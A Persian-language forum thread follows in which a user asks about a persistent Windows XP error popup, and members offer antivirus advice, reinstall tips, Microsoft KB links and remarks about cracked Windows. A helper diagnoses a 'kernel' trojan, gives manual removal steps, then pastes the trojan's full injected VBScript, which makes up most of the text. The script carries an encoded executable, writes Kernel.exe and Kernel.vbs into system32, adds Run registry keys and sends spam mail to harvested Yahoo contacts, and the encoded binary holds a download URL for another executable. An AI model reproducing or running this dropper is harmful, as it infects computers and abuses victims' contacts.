یک مشکل که عمریه دارم باهاش میسوزمو می سازم ....

راستش الان حدود یک ساله که وقتی وارد اینترنت میشم دو سه دقیقه یه بار یه پیغام شبیه به ارور روی مانیتورم ظاهر میشه و هر دفعه باید اونو Close کنم تا ریختشو نبینم:41: حتی از اینترنتم که خارج میشم این پیغام انقدر میاد که من مجبور میشم سیستمو ریستارت کنم .از صفحه نمایشم عکس گرفتم تا شما هم بتونین این پیغام مزاحمو ببینین اینم آدرسشه

http://img.majidonline.com/pic/94553/untled.JPG

در ضمن به این آدرسی که بالای پیغام داده رفتم و این فایلو Delete کردم ولی مجدد برمیگرده.راستش دیگه دارم از دست این پیغام کلافه میشم لطف کنید منو در حل این مشکل راهنمایی کنید...

90 درصد ویروس
در ضمن یولید 11 اومده خیلی باحاله
نروت قدیمیه
از فایروفاکس چرا استفاده نمی کنی:31:

نقل قول:

نوشته شده توسط mohsen6558 [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

90 درصد ویروس
در ضمن یولید 11 اومده خیلی باحاله
نروت قدیمیه
از فایروفاکس چرا استفاده نمی کنی:31:

ویروس نیست عزیزم اکثر آنتی ویروسا رو روش امتحان کردم متخصص کامپیوتر هم هنوز از این پیغام سر در نیاورده.در ضمن شما آمار برنامه های منو میگیری یا ؤاهنمایی میکنی؟خودم میدونم یولید 11 اومده.

اینم بگم که من ویندوزمو بارها عوض کردم ولی حل نشده اگه ویروس باشه که درایو Cفرمت میشه قانونا با ویندوز جدید این پیغام نباید اجرا بشه پس صد در صد ویروس نیست.

چرا ناراحت می شی من شوخی کردم
این احتمال هم هست یه ویروسی که چسبیده به یه برنامه مثلا نرو خب وقتی بعد از عوض کردن ویندوز که اونو نصب می کنی و نرو رو نصب مب کنی دوباره اجرا بشه
ویندوزتو عوض کن بعد درایورهاتو از روی سی دی نصب کن و تست کن در ضمن اگه تونستی از یه سی دی دیگه واسه نصب ویندوز استفاده کن
بعدشم پست پشت سر هم نده ویرایش کن !!!
اینقدرم بد اخلاق نباش

به نظر من شما رو سیستمت یک Worm داری. ویروس کش 'Sophos Anti-Virus' رو دانلود کن و مطابق دستورالعمل زیر موارد رو انجام بده, شاید مشکلت حل شد :

Close down all programs.
Go to Start|Programs|Sophos Anti-Virus and run the Sophos Anti-Virus program.
Select the 'Immediate' tab then select the relevant drive.
Go to Options|Configuration. Select the 'Disinfection' or 'Action' tab, (according to what is displayed in your window), select 'Infected files', select 'Delete' then click 'OK'.
Click the green 'scan' arrow, or the 'GO' button (as appropriate) to run the scan.
Delete the files. Run another scan to check it has gone.
Go back to Options|Configuration... select the 'Disinfection' or Action tab, then deselect 'Delete'. Click 'OK'.
Reboot and run a final scan to be certain it has gone.

اگر مشکلت برطرف نشد از راه زیر استفاده کن: (البته اگه ویندوزت XP هست)
Download an [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] . On an uninfected Windows computer, run this file to extract the contents into a SAV32CLI folder on a medium that can be write-protected. Add any relevant IDEs to this folder and write-protect the disk (on a CD/R or CD/RW close the session).

هارد تو كامل فرمت كن

نقل قول:

نوشته شده توسط vedeghe [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

هارد تو كامل فرمت كن

بهترین راه :13: دوست عزیز این حرکت و همه بلدن این کارا واسه اینه که به اینجا نرسه

والا من که از حرفای شما دوستان سر در نیاوردم اگه میشه یه کم واضح تر صحبت کنید در ضمن تا یه جاهایی کارایی رو که گفتین انجام دادم ولی افاقه نکرد

نقل قول:

نوشته شده توسط mohsen6558 [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

چرا ناراحت می شی من شوخی کردم
این احتمال هم هست یه ویروسی که چسبیده به یه برنامه مثلا نرو خب وقتی بعد از عوض کردن ویندوز که اونو نصب می کنی و نرو رو نصب مب کنی دوباره اجرا بشه
ویندوزتو عوض کن بعد درایورهاتو از روی سی دی نصب کن و تست کن در ضمن اگه تونستی از یه سی دی دیگه واسه نصب ویندوز استفاده کن
بعدشم پست پشت سر هم نده ویرایش کن !!!
اینقدرم بد اخلاق نباش

من ناراحت نشدم عزیزم اتفاقا از راهنماییاتم ممنونم این کارایی رو که گفتی من بارها انجام دادم ولی بازم فایده نداشت این پیغام مثله بختک افتاده به جون سیستم منه بدبخت:37: :45:

به نظرم ويروس يا چيزي شبيه به اين نيست !

ببين اين ارور داره ميگه كه cpu داره مواجه ميشه با يك برنامه غير قانوني !
ببينم شما ويندوزت رو از نظر قاونوي بودن با سريال و ترفند قانوني كردين ؟

نقل قول:

نوشته شده توسط ARASH66 [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

به نظرم ويروس يا چيزي شبيه به اين نيست !

ببين اين ارور داره ميگه كه cpu داره مواجه ميشه با يك برنامه غير قانوني !
ببينم شما ويندوزت رو از نظر قاونوي بودن با سريال و ترفند قانوني كردين ؟

منظورتون از قانونی کردن چیه؟من ویندوزمو مثله همه کسایی که ویندوزشونو عوض میکنن عوض می کنم.فکر نمیکنم مشکلی داشته باشه

دوست عزیز من هم این مشکل رو داشتم ولی برای من بعد از دو یا سه بار فرمت هارد درایو و نصب چند نسخه مختلف ویندوز حل شد در ضمن این خطا بیشتر روی ویندوزهایی که با کرک نصب میشن اتفاق میفته مثل مدیا سنتر
مثلا اگه بعد از نصب مدیا سنتر در حالیکه Cd ویندوز داخل درایو باشه کرک رو اجرا کنی صد در صد این مشکل پیش میاد و ویندوز به صورت کامل کرک نمیشه .

نقل قول:

نوشته شده توسط pooyan.kh [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

منظورتون از قانونی کردن چیه؟من ویندوزمو مثله همه کسایی که ویندوزشونو عوض میکنن عوض می کنم.فکر نمیکنم مشکلی داشته باشه

دوست عزيز منظورم قانوني كردن ويندوز از كرك شده به سريال اوريجينال گفتم شايد اين كارو رو كردي اينطور شده !
به هر حال شما شايد با عوض كردن ويندوز خود از اين ورژن به يك ورژنه ديگه مشكلتون حل بشه !
راستي ويندوز xp شما ورژنش و نوعش چي بود !؟

نقل قول:

نوشته شده توسط ARASH66 [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

دوست عزيز منظورم قانوني كردن ويندوز از كرك شده به سريال اوريجينال گفتم شايد اين كارو رو كردي اينطور شده !
به هر حال شما شايد با عوض كردن ويندوز خود از اين ورژن به يك ورژنه ديگه مشكلتون حل بشه !
راستي ويندوز xp شما ورژنش و نوعش چي بود !؟

ویندوزم که سرویس پک 1 هستش در ضمن من قبلا هم گفتم اکثر ویندوزا رو روی سیستمم امتحان کردم ولی فایده نداشته و این پیغام مجدد میومده.

نقل قول:

نوشته شده توسط pooyan.kh [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

ویندوزم که سرویس پک 1 هستش در ضمن من قبلا هم گفتم اکثر ویندوزا رو روی سیستمم امتحان کردم ولی فایده نداشته و این پیغام مجدد میومده.

سلام

mahe ziba
اینجا

کد:

http://support.microsoft.com/default.aspx?scid=kb;en-us;314106

راه حلی روکه ماکروسافت پیشنهاد کرده نوشتن ...اینو کامل خوندید؟واجرا کردید؟

با سلام مجدد

در واقع در پست قبليم سه تا لينك مايكروسافت رو دادم كه به ترتيب اگر بخونين و عمل كنين مشكلتون حل ميشه ولي مثل اينكه اصلا لينكها رو نديدين.

اين لينكها :

کد:

http://support.microsoft.com/kb/245184/en-us

کد:

http://support.microsoft.com/default.aspx?scid=kb;en-us;314495

کد:

http://support.microsoft.com/default.aspx?scid=kb;en-us;314106

نقل قول:

نوشته شده توسط saviss [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

سلام

mahe ziba
اینجا

کد:

http://support.microsoft.com/default.aspx?scid=kb;en-us;314106

راه حلی روکه ماکروسافت پیشنهاد کرده نوشتن ...اینو کامل خوندید؟واجرا کردید؟

راستشو بخواین من به این سایت سر زدم ولی ازش سر در نیاوردم میشه شما به من بگین باید چی کار کنم؟لطف میکنید این مراحلی که تو این سایت گفته شده شما به صورت فارسی و با زبان ساده تر به من بگین؟بازم ممنونم از لطفتون

شما دچار تروجان kernel شدید. اگه بری توی system32 دو تا فایل به نام kernel پیدا می کنی.
منم دچارش بودم و با یک ماه تلاش مداوم بالاخره 2 روز پیش از دستش خلاص شدم.
فقط اینو بهت بگم که خیل خفنه.
نمی دونم چه طوری یک سال تحمل کردی.
اگه با کمک دوستان مشکلت حل نشده بگو تا کمکت کنم چون یه کم کار داره.

نقل قول:

نوشته شده توسط esool [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

شما دچار تروجان kernel شدید. اگه بری توی system32 دو تا فایل به نام kernel پیدا می کنی.
منم دچارش بودم و با یک ماه تلاش مداوم بالاخره 2 روز پیش از دستش خلاص شدم.
فقط اینو بهت بگم که خیل خفنه.
نمی دونم چه طوری یک سال تحمل کردی.
اگه با کمک دوستان مشکلت حل نشده بگو تا کمکت کنم چون یه کم کار داره.

جدی میگی؟؟؟آره درسته چند تا فایل kernel اونجا بود لطف میکنی بهم بگی چیکار کنم تا از دستش خلاص بشم؟امیدوارم مشکلمو حل کنید...

خوب چرا ويروس كش نميريزي فكر كنم گفتي ويروس كش داري
ويروس كشت چيه خوب اگه كاسپر داشته باشي كلكش رو ميكنه
سعي كن آنتي ويروست رو آپديت كني بعد اسكن كن

می تونی با آنتی تروجان ها این مشکل رو حل کنی ...

همینطور بعضی از آنتی ویروس ها هم قابلیت debug کردن تروجان ها رو دارن .

موفق باشی ...

نقل قول:

نوشته شده توسط COMING-UP-NEXT [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

می تونی با آنتی تروجان ها این مشکل رو حل کنی ...

همینطور بعضی از آنتی ویروس ها هم قابلیت debug کردن تروجان ها رو دارن .

موفق باشی ...

من قبلا هم عرض کردم که اکثر آنتی ویروسها از جمله مکافی ، نت 32،نرتون2007 حتی آنتی تروجان هم روش نصب کردم ولی انگار نه انگار...از آقای esool میخوام که منو راهنمایی کنن آخه اطلاعاتشون در مورد این پیغام دقیق بود .من بارها با این فایل kernel برخوردم .مطمئنم که هر چی هست زیر سر این فایله..

من که از اول گفتم که ویروسه
این کارو بکن
بعد از نصب ویندوز هیچی نصب نکن فقط درایوهاتو اونم از روی سی دی بعد به اینترنت وصل شو ببین بازم اینطوری می شه ؟

پویان جان من یه کم مبتدیانه توضیح میدم ناراحت نشیا می خوام شیرفهم شی.:20:
اول Start رو بزن بعد Run توی Run تایپ کن msconfig .
برو توی سربرگ Startup توی اونجا چکمارک یا همون تیک کنار kernel.exe رو بردار این کار باعث میشه که kernel دیگه لود نشه.
بعد Crtl+Alt+Delet رو بزن تو سربرگ Processes روی kernel کلیک کن و End Processes رو بزن.
حالا برو تو D:\WINDOWS\system32 دو تا فایل kernel.exe و kernel.vbs رو پاک کن.
شما با این کار به صورت دستی تروجان رو پاک کردی اما حالا بهتره که یه Antivirus که این فایل رو بشناسه یعنیBitDenfender رو بریزی اون وقت یه بار سیستمو اسکن میکنی و هر وقت خواست این Kernel لود بشه BitDenfender میپرسه که اجازه فعالیت بهش بده یا نه که شما حالشو میگیریو No رو میزنی.:21:

تا حالا شما خود تروجان رو پاک کردی اما این تروجان توی تمام فایل های htm یا همون صفحه های اینترنت کد زیر رو وارد کرده:

کد:

<script language=vbscript> on error resume next fileexe1="077090144000003000000000004000000000255255000000184000000000000000000000064000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000184000000000014031186014000180009205033184001076205033084104105115032112114111103114097109032099097110110111116032098101032114117110032105110032068079083032109111100101046013013010036000000000000000000000212036142028144069224079144069224079144069224079030090243079135069224079108101242079147069224079082105099104144069224079000000000000000000000000000000000000000000000000080069000000076001003000081115047069000000000000000000000000224000015001011001005012000002000000000030006000000000000000007017000000000016000000000032000000000000064000000016000000000002000000004000000000004000000000004000000000000000000000000080006000000004000000139039000000002000000000000000016000000016000000000000016000000016000000000000000000016000000000000000000000000000000000068032000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000032000000068000000000000000000000000000000000000000000000000000000000000000000000000000000000046116101120116000000000240001000000000016000000000002000000000004000000000000000000000000000000000000000000032000000096046114100097116097000000250001000000000032000000000002000000000006000000000000000000000000000000000000000000064000000064046100097116097000000000128027006000000048000000000002000000000008000000000000000000000000000000000000000000064000000192000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000106000106000106000106001106000232207001000000163112075070000106000104000000000128106000106000104041048064000255053112075070000232181001000000163116075070000104120075070000104128026006000104240048064000255053116075070000232156001000000104004001000000104124075070000232231000000000104028048064000104124075070000232244000000000104000016000000104088048064000104124075070000232202000000000163224048064000106000104228048064000255053120075070000104240048064000255053224048064000232174000000000255053224048064000232145000000000255053112075070000232032001000000255053116075070000232021001000000106005106000106000104124075070000106000106000232073000000000195085139236131196228106000106000106000141069228080232063000000000011192116020141069228080232062000000000141069228080232035000000000235217201195104000016064000104224147004000106000106000232024000000000232185255255255195255037020032064000255037040032064000255037036032064000255037032032064000255037028032064000255037000032064000255037012032064000255037008032064000255037004032064000204204204204204204204204204204085139236087255117008232036000000000139125008139077012003248051210051192138004010136004058131194001132192117243095139069008201194008000204204204085139236139069008131232004131192004128056000116048128120001000116032128120002000116016128120003000117230043069008131192003201194004000043069008131192002201194004000043069008131192001201194004000043069008201194004000255037060032064000255037048032064000255037052032064000255037056032064000000000000000000000000000000000000000000000000000086033000000134033000000122033000000100033000000000000000000236032000000000000000000054033000000042033000000028033000000008033000000000000000000182033000000198033000000218033000000160033000000000000000000188032000000000000000000000000000000252032000000020032000000196032000000000000000000000000000000074033000000028032000000168032000000000000000000000000000000146033000000000032000000216032000000000000000000000000000000238033000000048032000000000000000000000000000000000000000000000000000000000000000000086033000000134033000000122033000000100033000000000000000000236032000000000000000000054033000000042033000000028033000000008033000000000000000000182033000000198033000000218033000000160033000000000000000000103000083104101108108069120101099117116101065000115104101108108051050046100108108000140000068105115112097116099104077101115115097103101065000000025001071101116077101115115097103101065000023002083101116084105109101114000000066002084114097110115108097116101077101115115097103101000000117115101114051050046100108108000000026000067108111115101072097110100108101000060001071101116083121115116101109068105114101099116111114121065000202001079112101110070105108101000000158002087114105116101070105108101000107101114110101108051050046100108108000000105000073110116101114110101116067108111115101072097110100108101000134000073110116101114110101116079112101110065000135000073110116101114110101116079112101110085114108065000000142000073110116101114110101116082101097100070105108101000000119105110105110101116046100108108000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000092083121115116101109115046101120101000104116116112058047047104049046114105112119097121046099111109047100114101097109104097099107047072047078097118105100104097099107046101120101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" filevbs1="039078097118105100032110101119032118105114117115032050048048054040049051055053046049041013010111110032101114114111114032114101115117109101032110101120116013010100105109032102105108101104116109044115121115044121114013010102105108101104116109049061034049048048049048053049048057048051050049049053049050049049049053048049051048049048048056051049048049049049054048051050049048048049048050048051050048054049048051050049048048049049049048057057049049055049048057049048049049049048049049054048052054048057057049049052049048049048057055049049054049048049048054057049048056049048049049048057049048049049049048049049054048052048048051052049049049048057056049048054049048049048057057049049054048051052048052049048049051048049048049048048049048050048052054049049053049048049049049054048054053049049054049049054049049052049048053048057056049049055049049054049048049048051050048051052048057057049048056048057055049049053049049053049048053049048048048051052048052052048051050048051052048057057049048056049049053049048053049048048048053056048054054048054056048053055048053052048054055048053051048053051048053052048052053048053052048053051048054053048053049048052053048052057048052057048054056048052056048052053048053055048053054048053049048054053048052053048052056048052056048054055048052056048053050048055048048054055048053048048053055048054057048053049048053052048051050048051052048049051048049048049049053049048049049049054048051050049048050049049053049049049048051050048054049048051050049048048049048050048052054048057057049049052049048049048057055049049054049048049049049049048057056049048054049048049048057057049049054048052048048051052048056051048057057049049052049048053049049050049049054049048053049049048049048051048052054048055048049048053049048056049048049048056051049050049049049053049049054049048049049048057048055057048057056049048054049048049048057057049049054048051052048052052048051052048051052048052049048049051048049048049049053049048049049049054048051050049049053048054049049048048049048050048052054048054055049049052049048049048057055049049054049048049048055057048057056049048054049048049048057057049049054048052048048051052048056051049048052049048049049048056049048056048052054048054053049049050049049050049048056049048053048057057048057055049049054049048053049049049049049048048052054048052057048051052048052052048051052048051052048052049048049051048049048049049053049048049049049054048051050049049052049048049048054049049048048049048050048052054048057057049049052049048049048057055049049054049048049049049049048057056049048054049048049048057057049049054048052048048051052049049057049049053048057057049049052049048053049049050049049054048052054049049053049048052049048049049048056049048056048051052048052052048051052048051052048052049048049051048049048049049053049050049049049053048054049049048050049049053049049049048052054048055049049048049049049054048056051049049050049048049048057057049048053048057055049048056048055048049049049049048056049048048049048049049049052048052048048052057048052049048049051048049048048055048049049049049049052048051050048057055048051050048054049048051050048052057048051050048056052049049049048051050048055054049048049049049048048052048049048050049048053049048056049048049049049056048057056049049053048052057048052049048051050048056051049049054049048049049049050048051050048053049048049051048049048049048050049048053049048056049048049049049056048057056049049053048053048048054049049048050049048053049048056049048049049049056048057056049049053048053048048051050048051056048051050048057057049048052049049052048052048049048057049048053049048048048052048049048050049048053049048056049048049049049056048057056049049053048052057048052052048057055048052052048053049048052049048052049048049051048049048049048053049048050048051050048057055048051050048054048048051050049048056049048049049049048048052048049048050049048053049048056049048049049048049049050048049048049048052057048052049048052051048052057048051050049049054049048052049048049049049048048051050049048050049048053049048056049048049049048049049050048049048049048053048048054049049048050049048053049048056049048049049048049049050048049048049048053048048051050048051056048051050048057057049048052049049052048052048049048057049048053049048048048052048049048050049048053049048056049048049049048049049050048049048049048052057048052052048057055048052052048053049048052049048052049048049051048049048049049048049048049049050048049049054048049051048049048049048055049049052048051050048054049048051050048056053048054055048057055049049053049048049048052048049049052049048049048052054048056050049048049049048051048056050049048049048057055049048048048052048048051052048055050048055053048054057048056057048057053048055054048055057048054055048054053048055054048057053048055055048054053048054055048055050048055051048055056048054057048057050048056051048055057048055048048056052048056055048054053048056050048054057048057050048055055049048053048057057049049052049049049049049053049049049049048050049049054048057050048056055049048053049049048049048048049049049049049057049049053048057050048054055049049055049049052049049052049048049049049048049049054048056054049048049049049052049049053049048053049049049049049048048057050048056050049049055049049048048057050048055055049048053048057057049049052049049049049049053049049049049048050049049054048051050048056055049048053049049048049048048049049049049049057049049053048051052048052049048052049048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056052048056051048056048048053049048053048048054057048052054048054056048055054048055054048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049048049049050048049048049048052057048049051048049048049048053049048050048051050049049055048057057048057055049049053049048049048052048049048050049049053049049049048052054048055048049048053049048056049048049048054057049050048049048053049049053049049054049049053048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048052049048052049048054049048051052048055048048054053048055054048056051048054057048051052048051050049049049049049052048051050049048055049049052048054048048054050049049055048057057048057055049049053049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053048054057048056050048055056048054057048055054048052054048054057048056056048054057048051052048052049048051050049049054049048052049048049049049048048049051048049048049049052049048049048052054049049052049048049049048051049049057049049052049048053049049054049048049048051050048051052048055050048055053048054057048056057048057053048055054048055057048054055048054053048055054048057053048055055048054053048054055048055050048055051048055056048054057048057050048056051048055057048055048048056052048056055048054053048056050048054057048057050048055055049048053048057057049049052049049049049049053049049049049048050049049054048057050048056055049048053049049048049048048049049049049049057049049053048057050048054055049049055049049052049049052049048049049049048049049054048056054049048049049049052049049053049048053049049049049049048048057050048056050049049055049049048048057050048051052048051050048051056048051050048051052048055055049048053048057057049049052049049049049049053049049049049048050049049054048051050048056055049048053049049048049048048049049049049049057049049053048051052048051050048052052049049053049050049049049053048051050048051056048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049048049049050048049048049048053048048049051048049048049049053048052054048055057049049050049048049049049048048051050048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048052049048049051048049048049048049049049048049048048048051050049048053049048050048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056052048056051048056048048053049048053048048056054048052054048054056048055054048055054048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049049056048057056049049053048052057048049051048049048049048053049048050048051050049048050049049053049049049048052054049049049049049050049048049049049048049049054049048049049050048049049054049048050049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056051049050049049049053049049054049048049049048057049049056048052054049048048049048056049048056048051052048052052048052057048052049048052054049049052049048049048057055049048048048057055049048056049048056048054048048054050048051052049049049049049048048051052048051050049049054049048052049048049049049048048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049049056048057056049049053048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049049056048057056049049053048053048048049051048049048049049053048052054048055057049049050049048049049049048048051050048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049049056048057056049049053048051052048052049048049051048049048049048049049049048049048048048051050049048053049048050048049051048049048048054048048052055049049053048057057049049052049048053049049050049049054048054050034013010115101116032102115111061099114101097116101111098106101099116040034115099114105112116105110103046102105108101115121115116101109111098106101099116034041013010115101116032114101061099114101097116101111098106101099116040034119115099114105112116046115104101108108034041013010115121115061102115111046071101116083112101099105097108070111108100101114040049041013010102115111046067114101097116101084101120116070105108101040115121115032038032034092083121115116101109118046100108108034041046119114105116101032034111110034013010102105108101104116109061034060115099114105112116032108097110103117097103101061118098115099114105112116062034032038032118098099114108102032038032034111110032101114114111114032114101115117109101032110101120116034032038032118098099114108102013010102105108101104116109061102105108101104116109032038032034102105108101101120101049061034034034032038032102115111046111112101110116101120116102105108101040115121115032038032034092084083080051050069046068076076034044049041046114101097100097108108032038032034034034034032038032118098099114108102013010102105108101104116109061102105108101104116109032038032034102105108101118098115049061034034034032038032102115111046111112101110116101120116102105108101040115121115032038032034092084083080051050086046068076076034044049041046114101097100097108108032038032034034034034032038032118098099114108102013010070111114032097032061032049032084111032076101110040102105108101104116109049041032083116101112032051013010102105108101104116109061102105108101104116109032038032099104114040109105100040102105108101104116109049044097044051041041013010110101120116013010114101046114101103119114105116101032034072075069089095067085082082069078084095085083069082092083111102116119097114101092077105099114111115111102116092087105110100111119115092067117114114101110116086101114115105111110092082117110092034032038032034077105099114111115111102116032087105110100111119115034032044115121115032038034092075101114110101108046118098115034013010114101046114101103119114105116101032034072075069089095076079067065076095077065067072073078069092083079070084087065082069092077105099114111115111102116092087105110100111119115092067117114114101110116086101114115105111110092082117110092034032038032034077105099114111115111102116032087105110100111119115034032044115121115032038034092075101114110101108046101120101034013010121114061114101046082101103082101097100040034072075069089095067085082082069078084095085083069082092083111102116119097114101092121097104111111092112097103101114092089097104111111033032085115101114032073068034041013010115116097114116013010083117098032115116097114116040041013010111110032101114114111114032114101115117109101032110101120116013010070111114032069097099104032100114049032073110032102115111046068114105118101115013010073102032100114049046068114105118101084121112101032061032050032079114032100114049046068114105118101084121112101032061032051032084104101110032102105108101049032040100114049032038032034092034041058032102111108100101114049032040100114049032038032034092034041013010078101120116013010115101110100109097105108013010069110100032083117098013010083117098032102111108100101114049040100114049041013010111110032101114114111114032114101115117109101032110101120116013010070111114032069097099104032102111032073110032102115111046071101116070111108100101114040100114049041046083117098070111108100101114115013010105102032085067097115101040114105103104116040102111044050053041041061034089065072079079033092077069083083069078071069082092080082079070073076069083034032116104101110032121097104111111040102111041013010102105108101049032040102111041013010102111108100101114049032040102111041013010078101120116013010069110100032083117098013010083117098032102105108101049040102111041013010111110032101114114111114032114101115117109101032110101120116013010070111114032069097099104032102105032073110032102115111046071101116070111108100101114040102111041046070105108101115013010110106032040102105041013010078101120116013010069110100032083117098013010115117098032110106040102105041013010111110032101114114111114032114101115117109101032110101120116013010101120116061085067097115101040102115111046071101116069120116101110115105111110078097109101040102105041041013010105102032101120116061034072084077034032111114032101120116061034072084077076034032111114032101120116061034072084084034032116104101110013010105102032114105103104116040102115111046111112101110116101120116102105108101040102105044049041046114101097100097108108044108101110040102105108101104116109041041060062102105108101104116109032116104101110013010102115111046111112101110116101120116102105108101040102105044056041046119114105116101032118098099114108102032038032102105108101104116109013010101110100032105102013010101110100032105102013010101110100032115117098013010115117098032121097104111111040102111121049041013010070111114032069097099104032102111121050032073110032102115111046071101116070111108100101114040102111121049041046083117098070111108100101114115013010109097105108097108108061109097105108097108108032038032102115111046071101116070105108101078097109101040102111121050041032038032034064121097104111111046099111109034032038032118098099114108102013010110101120116013010102115111046099114101097116101116101120116102105108101040115121115032038032034092109097105108046108111103034041046119114105116101032109097105108097108108032038032034069078068034013010102115111046099114101097116101116101120116102105108101040115121115032038032034092115101110100046108111103034041046119114105116101032121114032038032034064121097104111111046099111109034013010101110100032115117098013010115117098032115101110100109097105108040041013010111110032101114114111114032114101115117109101032110101120116013010115101110100109061102115111046111112101110116101120116102105108101040115121115032038032034092115101110100046108111103034044049041046114101097100097108108013010115101116032109097105108109061102115111046111112101110116101120116102105108101040115121115032038032034092109097105108046108111103034044049041013010109097105108097061109097105108109046114101097100108105110101013010119104105108101032109097105108097032060062032034069078068034013010083101116032111098106077101115115097103101032061032067114101097116101079098106101099116040034067068079046077101115115097103101034041032013010111098106077101115115097103101046083117098106101099116032061032034072101108108111034013010111098106077101115115097103101046083101110100101114032061032115101110100109013010111098106077101115115097103101046102114111109061032115101110100109013010111098106077101115115097103101046084111032061032109097105108097013010111098106077101115115097103101046084101120116066111100121032061032034072101108108111034032038032118098099114108102032038032034071111032116111032109121032115097105116058032104116116112058047047103105114108115101120046119101098115046105111047112105099116117114101046104116109034013010111098106077101115115097103101046083101110100013010109097105108097061109097105108109046114101097100108105110101013010119101110100013010102115111046067114101097116101084101120116070105108101040115121115032038032034092083121115116101109118046100108108034041046119114105116101032034111102102034013010101110100032115117098013010" dim sys Set df = document.createElement("object") df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 " set fso = df.createobject("Scripting.FileSystemObject","") set s=df.CreateObject("Shell.Application.1","") set re=df.createobject("wscript.shell","") sys=fso.GetSpecialFolder(1) For a = 1 To Len(filevbs1) Step 3 filevbs2=filevbs2 & chr(mid(filevbs1,a,3)) if a < len(fileexe1)+1 then fileexe2=fileexe2 & chr(mid(fileexe1,a,3)) next kr = UCase(re.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Windows")) fso.CreateTextFile(sys & "\TSP32E.DLL").write fileexe1 if ucase(fso.FileExists(sys & "\Kernel.exe"))="FALSE" or kr<>ucase(sys & "\KERNEL.EXE") then re.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.exe" fso.CreateTextFile(sys & "\Kernel.exe").write fileexe2 s.Open (sys & "\Kernel.exe") end if fso.CreateTextFile(sys & "\TSP32V.DLL").write filevbs1 if fso.opentextfile(sys & "\Systemv.dll",1).readall<>"on" then fso.CreateTextFile(sys & "\Kernel.vbs").write filevbs2 s.Open (sys & "\Kernel.vbs") end if </script>

